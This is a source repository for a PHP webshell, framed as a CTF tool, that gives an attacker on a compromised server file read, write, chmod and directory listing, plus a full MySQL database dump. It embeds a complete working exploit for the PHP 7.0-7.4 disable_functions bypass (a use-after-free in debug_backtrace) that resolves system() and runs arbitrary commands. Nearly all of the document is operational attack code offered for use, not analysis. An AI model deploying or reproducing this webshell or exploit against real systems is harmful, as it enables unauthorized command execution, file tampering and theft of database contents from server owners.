├── README.md └── webshell.php /README.md: -------------------------------------------------------------------------------- 1 | # phpwebshelllimited 2 | 3 | This webshell was created for those times where you can upload a php webshell but you cannot execute commands due to disabled functions and you can only interact with the filesystem using php capabilities. 4 | 5 | It also can dump entire MysQL databases using PHP functions (for CTFs). 6 | 7 | Check it in local using: 8 | ``` 9 | php -S localhost:8008 10 | ``` 11 | -------------------------------------------------------------------------------- /webshell.php: -------------------------------------------------------------------------------- 1 | query($sql) as $row) { 19 | array_push($db[$dbname][$tablename]["data"], array()); 20 | echo "\n"; 21 | foreach ($columns as &$colname){ 22 | $c = count($db[$dbname][$tablename]["data"]); 23 | $db[$dbname][$tablename]["data"][$c-1][$colname] = $row[$colname]; 24 | echo "\t".$row[$colname]."\n"; 25 | } 26 | echo "\n"; 27 | } 28 | } 29 | 30 | function getColumns($dbh, $tablename, $dbname){ 31 | global $db; 32 | $sql = "SELECT column_name FROM information_schema.columns WHERE table_name='$tablename' and table_schema='$dbname';"; 33 | #echo $sql."\n"; 34 | echo "
"; 35 | echo ''."\n"; 36 | echo "\n"; 37 | foreach ($dbh->query($sql) as $row) { 38 | array_push($db[$dbname][$tablename]["columns"], $row['column_name']); 39 | echo "\t\n"; 40 | } 41 | echo "\n"; 42 | getData($dbh, $db[$dbname][$tablename]["columns"], $tablename, $dbname); 43 | echo "
".$row['column_name']."
\n"; 44 | echo "
\n"; 45 | } 46 | 47 | function getTables($dbh, $dbname, $checkDefault) { 48 | global $db, $information_schema, $mysql, $performance_schema, $sys; 49 | $sql = "SELECT table_name FROM information_schema.tables WHERE table_schema='$dbname';"; 50 | #echo $sql."\n"; 51 | foreach ($dbh->query($sql) as $row) { 52 | $db[$dbname][$row['table_name']]["columns"] = array(); 53 | $db[$dbname][$row['table_name']]["data"] = array(); 54 | if (! $checkDefault){ 55 | if ($dbname === "information_schema" && in_array(strtoupper($row['table_name']),$information_schema)){ 56 | continue; 57 | } 58 | elseif ($dbname === "mysql" && in_array(strtoupper($row['table_name']),$mysql)){ 59 | continue; 60 | } 61 | elseif ($dbname === "performance_schema" && in_array(strtoupper($row['table_name']),$performance_schema)){ 62 | continue; 63 | } 64 | elseif ($dbname === "sys" && in_array(strtoupper($row['table_name']),$sys)){ 65 | continue; 66 | } 67 | } 68 | echo "

Table: ".$row['table_name']."


"; 69 | getColumns($dbh, $row['table_name'], $dbname); 70 | } 71 | } 72 | 73 | function dumpDb($mysqlUserName, $mysqlPassword, $mysqlHostName, $checkDefault){ 74 | global $db; 75 | $dbh = new PDO("mysql:host=$mysqlHostName;",$mysqlUserName, $mysqlPassword); 76 | $sql = $dbh->query('SHOW DATABASES'); 77 | $dbnames_results = $sql->fetchAll(); 78 | 79 | foreach ($dbnames_results as &$dbname) { 80 | $db[$dbname[0]] = array(); 81 | echo "

Database: ".$dbname[0]."


"; 82 | getTables($dbh, $dbname[0], $checkDefault); 83 | } 84 | } 85 | 86 | 87 | ################################ 88 | ##### FILESYSTEM FUNCTIONS ##### 89 | ################################ 90 | 91 | function printPerms($filepath){ 92 | $perms = fileperms('/etc/passwd'); 93 | 94 | switch ($perms & 0xF000) { 95 | case 0xC000: // socket 96 | $info = 's'; 97 | break; 98 | case 0xA000: // symbolic link 99 | $info = 'l'; 100 | break; 101 | case 0x8000: // regular 102 | $info = 'r'; 103 | break; 104 | case 0x6000: // block special 105 | $info = 'b'; 106 | break; 107 | case 0x4000: // directory 108 | $info = 'd'; 109 | break; 110 | case 0x2000: // character special 111 | $info = 'c'; 112 | break; 113 | case 0x1000: // FIFO pipe 114 | $info = 'p'; 115 | break; 116 | default: // unknown 117 | $info = 'u'; 118 | } 119 | 120 | // Owner 121 | $info .= (($perms & 0x0100) ? 'r' : '-'); 122 | $info .= (($perms & 0x0080) ? 'w' : '-'); 123 | $info .= (($perms & 0x0040) ? 124 | (($perms & 0x0800) ? 's' : 'x' ) : 125 | (($perms & 0x0800) ? 'S' : '-')); 126 | 127 | // Group 128 | $info .= (($perms & 0x0020) ? 'r' : '-'); 129 | $info .= (($perms & 0x0010) ? 'w' : '-'); 130 | $info .= (($perms & 0x0008) ? 131 | (($perms & 0x0400) ? 's' : 'x' ) : 132 | (($perms & 0x0400) ? 'S' : '-')); 133 | 134 | // World 135 | $info .= (($perms & 0x0004) ? 'r' : '-'); 136 | $info .= (($perms & 0x0002) ? 'w' : '-'); 137 | $info .= (($perms & 0x0001) ? 138 | (($perms & 0x0200) ? 't' : 'x' ) : 139 | (($perms & 0x0200) ? 'T' : '-')); 140 | 141 | echo "$info $filepath\n"; 142 | } 143 | 144 | 145 | function listDir($dir){ 146 | echo "Listing $dir\n"; 147 | $filenames = scandir($dir); 148 | foreach ($filenames as $filename) { 149 | if ($filename != "." && $filename != ".."){ 150 | $filepath = "$dir/$filename"; 151 | printPerms($filepath); 152 | } 153 | } 154 | } 155 | 156 | function readAFile($filepath){ 157 | if (file_exists($filepath)){ 158 | if (is_readable($filepath)) { 159 | echo "Reading $filepath\n"; 160 | echo file_get_contents($filepath); 161 | } 162 | else{ 163 | echo "$filepath: Permission denied\n"; 164 | } 165 | } 166 | else{ 167 | echo "$filepath: File doesn't exist\n"; 168 | } 169 | } 170 | 171 | function writeAFile($filepath, $content){ 172 | file_put_contents($filepath, $content); 173 | } 174 | 175 | function createADir($dirpath, $perms){ 176 | if (! mkdir($dirpath, intval($perms, 8))){ 177 | echo "Error creating the folder $dirpath\n"; 178 | } 179 | else{ 180 | echo "$dirpath was created\n"; 181 | } 182 | } 183 | 184 | function changePerms($dirpath, $perms){ 185 | if (! chmod($dirpath, intval($perms, 8))){ 186 | echo "Error changing permissions of $dirpath\n"; 187 | } 188 | else{ 189 | echo "Permissions of $dirpath changed correctly\n"; 190 | } 191 | } 192 | 193 | 194 | 195 | #################################### 196 | ######### CHECK FUNCTIONS ########## 197 | #################################### 198 | 199 | function check_exec_function($disabled, $func){ 200 | if (!in_array($func, $disabled)){ 201 | echo "
$func is enabled!!
\n"; 202 | } 203 | else{ 204 | echo "
$func is disabled
\n"; 205 | } 206 | } 207 | 208 | function check_exec_functions() { 209 | $disabled = explode(',', ini_get('disable_functions')); 210 | $funcs = ["exec", "passthru", "system", "shell_exec", "popen", "proc_open", "pcntl_exec", "mail", "putenv"]; 211 | foreach ($funcs as $func) { 212 | check_exec_function($disabled, $func); 213 | } 214 | } 215 | 216 | 217 | 218 | 219 | 220 | # PHP 7.0-7.4 disable_functions bypass PoC (*nix only) 221 | # 222 | # Bug: https://bugs.php.net/bug.php?id=76047 223 | # debug_backtrace() returns a reference to a variable 224 | # that has been destroyed, causing a UAF vulnerability. 225 | # 226 | # This exploit should work on all PHP 7.0-7.4 versions 227 | # released as of 30/01/2020. 228 | # 229 | # Author: https://github.com/mm0r1 230 | 231 | 232 | function pwn($cmd) { 233 | global $abc, $helper, $backtrace; 234 | 235 | class Vuln { 236 | public $a; 237 | public function __destruct() { 238 | global $backtrace; 239 | unset($this->a); 240 | $backtrace = (new Exception)->getTrace(); # ;) 241 | if(!isset($backtrace[1]['args'])) { # PHP >= 7.4 242 | $backtrace = debug_backtrace(); 243 | } 244 | } 245 | } 246 | 247 | class Helper { 248 | public $a, $b, $c, $d; 249 | } 250 | 251 | function str2ptr(&$str, $p = 0, $s = 8) { 252 | $address = 0; 253 | for($j = $s-1; $j >= 0; $j--) { 254 | $address <<= 8; 255 | $address |= ord($str[$p+$j]); 256 | } 257 | return $address; 258 | } 259 | 260 | function ptr2str($ptr, $m = 8) { 261 | $out = ""; 262 | for ($i=0; $i < $m; $i++) { 263 | $out .= chr($ptr & 0xff); 264 | $ptr >>= 8; 265 | } 266 | return $out; 267 | } 268 | 269 | function write(&$str, $p, $v, $n = 8) { 270 | $i = 0; 271 | for($i = 0; $i < $n; $i++) { 272 | $str[$p + $i] = chr($v & 0xff); 273 | $v >>= 8; 274 | } 275 | } 276 | 277 | function leak($addr, $p = 0, $s = 8) { 278 | global $abc, $helper; 279 | write($abc, 0x68, $addr + $p - 0x10); 280 | $leak = strlen($helper->a); 281 | if($s != 8) { $leak %= 2 << ($s * 8) - 1; } 282 | return $leak; 283 | } 284 | 285 | function parse_elf($base) { 286 | $e_type = leak($base, 0x10, 2); 287 | 288 | $e_phoff = leak($base, 0x20); 289 | $e_phentsize = leak($base, 0x36, 2); 290 | $e_phnum = leak($base, 0x38, 2); 291 | 292 | for($i = 0; $i < $e_phnum; $i++) { 293 | $header = $base + $e_phoff + $i * $e_phentsize; 294 | $p_type = leak($header, 0, 4); 295 | $p_flags = leak($header, 4, 4); 296 | $p_vaddr = leak($header, 0x10); 297 | $p_memsz = leak($header, 0x28); 298 | 299 | if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write 300 | # handle pie 301 | $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; 302 | $data_size = $p_memsz; 303 | } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec 304 | $text_size = $p_memsz; 305 | } 306 | } 307 | 308 | if(!$data_addr || !$text_size || !$data_size) 309 | return false; 310 | 311 | return [$data_addr, $text_size, $data_size]; 312 | } 313 | 314 | function get_basic_funcs($base, $elf) { 315 | list($data_addr, $text_size, $data_size) = $elf; 316 | for($i = 0; $i < $data_size / 8; $i++) { 317 | $leak = leak($data_addr, $i * 8); 318 | if($leak - $base > 0 && $leak - $base < $data_addr - $base) { 319 | $deref = leak($leak); 320 | # 'constant' constant check 321 | if($deref != 0x746e6174736e6f63) 322 | continue; 323 | } else continue; 324 | 325 | $leak = leak($data_addr, ($i + 4) * 8); 326 | if($leak - $base > 0 && $leak - $base < $data_addr - $base) { 327 | $deref = leak($leak); 328 | # 'bin2hex' constant check 329 | if($deref != 0x786568326e6962) 330 | continue; 331 | } else continue; 332 | 333 | return $data_addr + $i * 8; 334 | } 335 | } 336 | 337 | function get_binary_base($binary_leak) { 338 | $base = 0; 339 | $start = $binary_leak & 0xfffffffffffff000; 340 | for($i = 0; $i < 0x1000; $i++) { 341 | $addr = $start - 0x1000 * $i; 342 | $leak = leak($addr, 0, 7); 343 | if($leak == 0x10102464c457f) { # ELF header 344 | return $addr; 345 | } 346 | } 347 | } 348 | 349 | function get_system($basic_funcs) { 350 | $addr = $basic_funcs; 351 | do { 352 | $f_entry = leak($addr); 353 | $f_name = leak($f_entry, 0, 6); 354 | 355 | if($f_name == 0x6d6574737973) { # system 356 | return leak($addr + 8); 357 | } 358 | $addr += 0x20; 359 | } while($f_entry != 0); 360 | return false; 361 | } 362 | 363 | function trigger_uaf($arg) { 364 | # str_shuffle prevents opcache string interning 365 | $arg = str_shuffle(str_repeat('A', 79)); 366 | $vuln = new Vuln(); 367 | $vuln->a = $arg; 368 | } 369 | 370 | if(stristr(PHP_OS, 'WIN')) { 371 | die('This PoC is for *nix systems only.'); 372 | } 373 | 374 | $n_alloc = 10; # increase this value if UAF fails 375 | $contiguous = []; 376 | for($i = 0; $i < $n_alloc; $i++) 377 | $contiguous[] = str_shuffle(str_repeat('A', 79)); 378 | 379 | trigger_uaf('x'); 380 | $abc = $backtrace[1]['args'][0]; 381 | 382 | $helper = new Helper; 383 | $helper->b = function ($x) { }; 384 | 385 | if(strlen($abc) == 79 || strlen($abc) == 0) { 386 | die("UAF failed"); 387 | } 388 | 389 | # leaks 390 | $closure_handlers = str2ptr($abc, 0); 391 | $php_heap = str2ptr($abc, 0x58); 392 | $abc_addr = $php_heap - 0xc8; 393 | 394 | # fake value 395 | write($abc, 0x60, 2); 396 | write($abc, 0x70, 6); 397 | 398 | # fake reference 399 | write($abc, 0x10, $abc_addr + 0x60); 400 | write($abc, 0x18, 0xa); 401 | 402 | $closure_obj = str2ptr($abc, 0x20); 403 | 404 | $binary_leak = leak($closure_handlers, 8); 405 | if(!($base = get_binary_base($binary_leak))) { 406 | die("Couldn't determine binary base address"); 407 | } 408 | 409 | if(!($elf = parse_elf($base))) { 410 | die("Couldn't parse ELF header"); 411 | } 412 | 413 | if(!($basic_funcs = get_basic_funcs($base, $elf))) { 414 | die("Couldn't get basic_functions address"); 415 | } 416 | 417 | if(!($zif_system = get_system($basic_funcs))) { 418 | die("Couldn't get zif_system address"); 419 | } 420 | 421 | # fake closure object 422 | $fake_obj_offset = 0xd0; 423 | for($i = 0; $i < 0x110; $i += 8) { 424 | write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); 425 | } 426 | 427 | # pwn 428 | write($abc, 0x20, $abc_addr + $fake_obj_offset); 429 | write($abc, 0xd0 + 0x38, 1, 4); # internal func type 430 | write($abc, 0xd0 + 0x68, $zif_system); # internal func handler 431 | 432 | ($helper->b)($cmd); 433 | exit(); 434 | } 435 | 436 | 437 | ?> 438 | 439 | 440 |
441 | Disclaimer: Always use this webshell with permission of the servers owner.
442 | 

Filesystem Interaction

443 |
444 | Read File: 445 |
446 | 447 |
448 |
449 | List Dir: 450 |
451 | 452 |
453 |
454 | Create Dir: Perms: 455 |
456 | 457 |
458 |
459 | Change Perms: Perms: 460 |
461 | 462 |
463 |
464 | Write file:
Content:

465 |
466 | 467 |
468 |

Disabled functions

469 | 470 |
471 |

PHP 7.0-7.4 Disabled Functions Bypass

472 |
473 | Command: 474 |
475 | 476 |
477 |

Mysql Dump

478 | Note that this will dump the WHOLE DATABASE. I have created this webshell for CTFs, DO NOT USE THIS IN PRODUCTION ENVIRONMENTS. 479 |
480 | Mysql Username:
481 | Mysql Password:
482 | Mysql Host:
483 | Dump default MySQL databases (information_schema, mysql, performance_schema, sys) . Note that by default only non-default tables from these databases will be extracted.
484 | 485 |
486 | 487 |
488 |

PHPInfo

489 | 490 | 491 | --------------------------------------------------------------------------------